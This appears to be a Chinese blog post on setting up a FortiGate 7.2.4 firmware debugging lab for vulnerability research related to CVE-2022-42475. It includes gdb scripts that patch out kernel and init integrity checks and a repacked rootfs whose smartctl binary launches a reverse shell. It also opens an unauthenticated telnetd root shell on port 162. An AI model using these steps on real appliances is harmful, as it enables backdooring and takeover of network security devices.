FortiGate 环境搭建 7.2.4

FortiGate 镜像下载

从官网下载FortiGate镜像,用VMware打开ovf(本文搭建时,ForiGate最新版本为7.2.4

会得到FortiGate-disk1.vmdkFortiGate-disk2.vmdk等一些文件

登录

在设置虚拟机网卡时,看别人都没做什么设置,我本地的设置是网络适配器1VMnet8(NAT)网络适配器2VMnet0网络适配器3VMnet1

最初登录时用admin: 空密码,然后通过以下指令进行设置静态ip

config system interface
edit port1
set mode static
set ip 192.168.x.x/255.255.255.0
end

show system interface port1查看ip设置

挂载 vmdk

先安装libguestfs-tools

再通过sudo virt-filesystems -a FortiGate-disk1.vmdk分析vmdk的设备块,但是Ubuntu20.04及以上的版本均会报如下错

libguestfs: error: list_filesystems: sgdisk: Caution: invalid backup GPT header, but valid main header; regenerating
backup header from main header.

Warning! Main and backup partition tables differ! Use the 'c' and 'e' options
on the recovery & transformation menu to examine the two tables.

Warning! One or more CRCs don't match. You should repair the disk!
Main header: OK
Backup header: ERROR
Main partition table: OK
Backup partition table: ERROR

Invalid partition data!

如果用Ubuntu18.04不会报错,应该仅是backup GPT header不对,用Ubuntu18.04可以看到其设备块为/dev/sda1 /dev/sda2 /dev/sda3

不用查看设备块,直接挂载/dev/sda1也可,这里的-m是指的vmdk中的设备块,会挂载到当前目录的FortiGate目录中

sudo guestmount -a FortiGate-disk1.vmdk -m /dev/sda1 --rw ./FortiGate

Usage:
  guestmount [--options] mountpoint
Options:
  -a|--add image       Add image
  -m|--mount dev[:mnt[:opts[:fstype]] Mount dev on mnt (if omitted, /)
  -w|--rw              Mount read-write

挂载之后,可得到如下目录

bin   boot.msg  config         dhcpddb.bak         etc            filechecksum  flatkc.chk   ldlinux.sys  log         rootfs.gz
boot  cmdb      dhcp6s_db.bak  dhcp_ipmac.dat.bak  extlinux.conf  flatkc        ldlinux.c32  lib          lost+found  rootfs.gz.chk

其中比较重要就是exlinux.confflatkcflatkc.chkrootfs.gzrootfs.gz.chk

vangelis@0x13:~/Desktop$ cat ./FortiGate-backup/extlinux.conf 
DISPLAY boot.msg
TIMEOUT 10
TOTALTIMEOUT 9000
DEFAULT flatkc ro panic=5 endbase=0xA0000 console=ttyS0, root=/dev/ram0 ramdisk_size=65536 initrd=/rootfs.gz maxcpus=1 mem=2048M
vangelis@0x13:~/Desktop$ file ./flatkc
./flatkc: Linux kernel x86 boot executable bzImage, version 4.19.13 (root@build) #1 SMP Tue Jan 31 05:32:20 UTC 2023, RO-rootFS, swap_dev 0x6, Normal VGA

flatkc

使用vmlinux-to-elfbzImage转成elf,其主要在fgt_verify中检查/sbin/init/sbin/init.chk是否匹配,只要修改fgt_verify()的返回值就可以绕过检测,走到do_execve("/sbin/init")

P.S 调试时看到的rootfs.gz应该是在kernel_init_freeable中调用unpack_rootfs

flatkc-kernel-init

/sbin/init

主要verify_filesystem中验证所有的文件系统,后面解压binmigadminnode-scriptsusr,再execve("/bin/init")

sbin-init

verify-filesystemsub_401700遍历所有的文件系统,然后算hash,最后跟.fgtsum的结果比较

verify-filesystem

/bin/init

/bin/initFortiGate中核心功能,几乎所有的后台运行的程序均链接到/bin/init,在main中存在一些检测

bin-init-main

verifyKernelAndRootfs_450510()的地方会验证flatkcrootfs文件目录的结果

绕过

思路

最开始想的是,直接利用重打包rootfs.gz(注:这里/dev/sda1比较小,需要放到外面再重打包),调试虚拟机内核时修改flatkc中的指向/sbin/init的字符串为/sh,从而直接执行busyboxsh,结果不成功,可能是/bin/init中对于一些设备进行了初始化

于是还是得按照别人博客中的思路,重打包rootfs.gz,自己实现/sbin/init干的事情即解压文件,并把/bin/busybox丢进去;在调试内核的时候,修改flatkc的校验,使其不panic且修改其指向的字符串为/bin/init;执行/bin/init时修改验证的返回值,使其正常过检测

在重打包rootfs.gz的时候,修改rootfs中的smartctl的逻辑,通过 reverse_shell 反弹shell,然后通过diagnose hardware smartctl指令进行执行smartctl

// gcc ./smartctl.c -static -o ./smartctl
#include <stdio.h>

void shell(){
    system("/bin/busybox ls", 0, 0);
    system("/bin/busybox id", 0, 0);
    system("/bin/reverse_shell 192.168.152.128 2333 && /bin/busybox id", 0, 0);
    return;
}

int main(int argc, char const *argv[])
{
    shell();
    return 0;
}

操作

首先给虚拟机的vmx加上如下语句,利用debugStub的特性对虚拟机进行调试,但是这个地方有个坑,就是如果用了windows hyperV就会在调试的时候跑飞,完全断不下来,debugStub does not work on Windows 10 2004 with Hyper-V

debugStub.listen.guest64 = "TRUE"
debugStub.listen.guest64.remote = "TRUE"
debugStub.port.guest64 = "12345"
debugStub.listen.guest32 = "TRUE"
debugStub.listen.guest32.remote = "TRUE"
debugStub.port.guest32 = "12346"
toolsInstallManager.updateCounter = "2"
tools.remindInstall = "FALSE"

解压rootfs,直接用cpio -idmv < ../rootfs

解压的时候xz为其自己实现的,因此要用如下指令,将压缩的全部解压

chroot . /sbin/xz -d usr.tar.xz
chroot . /sbin/ftar -xf ./usr.tar

重打包的指令如下

find . | cpio -o --format=newc > rootfs 
gzip rootfs

guestmount -a FortiGate-disk1.vmdk -m /dev/sda1 --rw ./FortiGate 
cd FortiGate
cp ../xxx/rootfs.gz ./
cd ..
umount FortiGate

在开启FortiGate之后出现如下字样后,进行远程调试,断在fgt_verify()的返回,修改其返回值,并修改其字符串为/bin/init\x00,然后再在/bin/init中下断点(其实这个地方,从内核层面给用户态的一个进程下断点,没太搞懂),修改返回值,就可以成功绕过检测了

建议使用裸gdb

Loading flatkc... ok
Loading rootfs.gz... ok

以下是写的一个script(注意这里debugStub起的是主机的端口)

file ./flatkc-elf
target remote 192.168.152.1:12345
b *0xffffffff80c022db
# b *0xffffffff80c0231a
b *0x452BAC
b *0x452DF3 
b *0x452BC6
c

define context
  i r
  x/10i $pc
end

define bypass
   set $rax=0
   patch
   c
end

define patch
  context
  set *(char*)0xFFFFFFFF813B779D='b'
  set *(char*)0xFFFFFFFF813B779E='i'
  set *(char*)0xFFFFFFFF813B779F='n'
  set *(char*)0xFFFFFFFF813B77A0='/'
  set *(char*)0xFFFFFFFF813B77A1='i'
  set *(char*)0xFFFFFFFF813B77A2='n'
  set *(char*)0xFFFFFFFF813B77A3='i'
  set *(char*)0xFFFFFFFF813B77A4='t'
  set *(char*)0xFFFFFFFF813B77A5='\x00'
  x/s 0xFFFFFFFF813B779C
end

开启telnetd

在开启telnetd的地方,在7.2.4的版本上,应该存在较大的改动,killall -9 sshd之后会立刻重启,基本上没成功的用telnetd占上22端口,其他的端口也被墙了,最后在ZOE大佬的帮助下,利用开启snmp服务,然后发现并没有检测kill snmpd,因此可以直接利用snmpkill掉的161162端口,进行开启telnetgdbserver转发

就是在Network/interfaces中,修改port1,把snmp打开

killall -9 snmpd && /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 162
/bin/gdbserver --attach 127.0.0.1:161 sslvpndPid

如果逆向到后面,可以找到/bin/init中的sshdService注册的位置,把注册的位置改成while(1),同样也是可以kill sshd,占用22端口开启telnetd服务的

配置ip

官方文档

config system interface
  edit <port>
  set ip <ip_address> <netmask>
  set allowaccess (http https ping ssh telnet)
end

python3 tlsv1 报错

python3SSL连接时报错如下

  File "/usr/lib/python3.8/ssl.py", line 500, in wrap_socket
    return self.sslsocket_class._create(
  File "/usr/lib/python3.8/ssl.py", line 1040, in _create
    self.do_handshake()
  File "/usr/lib/python3.8/ssl.py", line 1309, in do_handshake
    self._sslobj.do_handshake()
ssl.SSLError: [SSL: TLSV1_ALERT_PROTOCOL_VERSION] tlsv1 alert protocol version (_ssl.c:1131)

是因为ubuntu 20.04最低的tls版本设置高于tlsv1,因此需要修改/etc/ssl/openssl.cnf的配置

需要在文件第一行加上openssl_conf = default_conf

文件尾再加上

[default_conf]
ssl_conf = ssl_sect

[ssl_sect]
system_default = system_default_sect

[system_default_sect]
MinProtocol = TLSv1
CipherString = DEFAULT@SECLEVEL=1

如果想要requests不报warning,需要加上如下代码在python3脚本中

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

这部分的报错解决很久,最后是在ubuntu 20.04启用TLSv1找到的

引用

https://forum.butian.net/share/2166
https://wzt.ac.cn/2022/12/15/CVE-2022-42475/


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!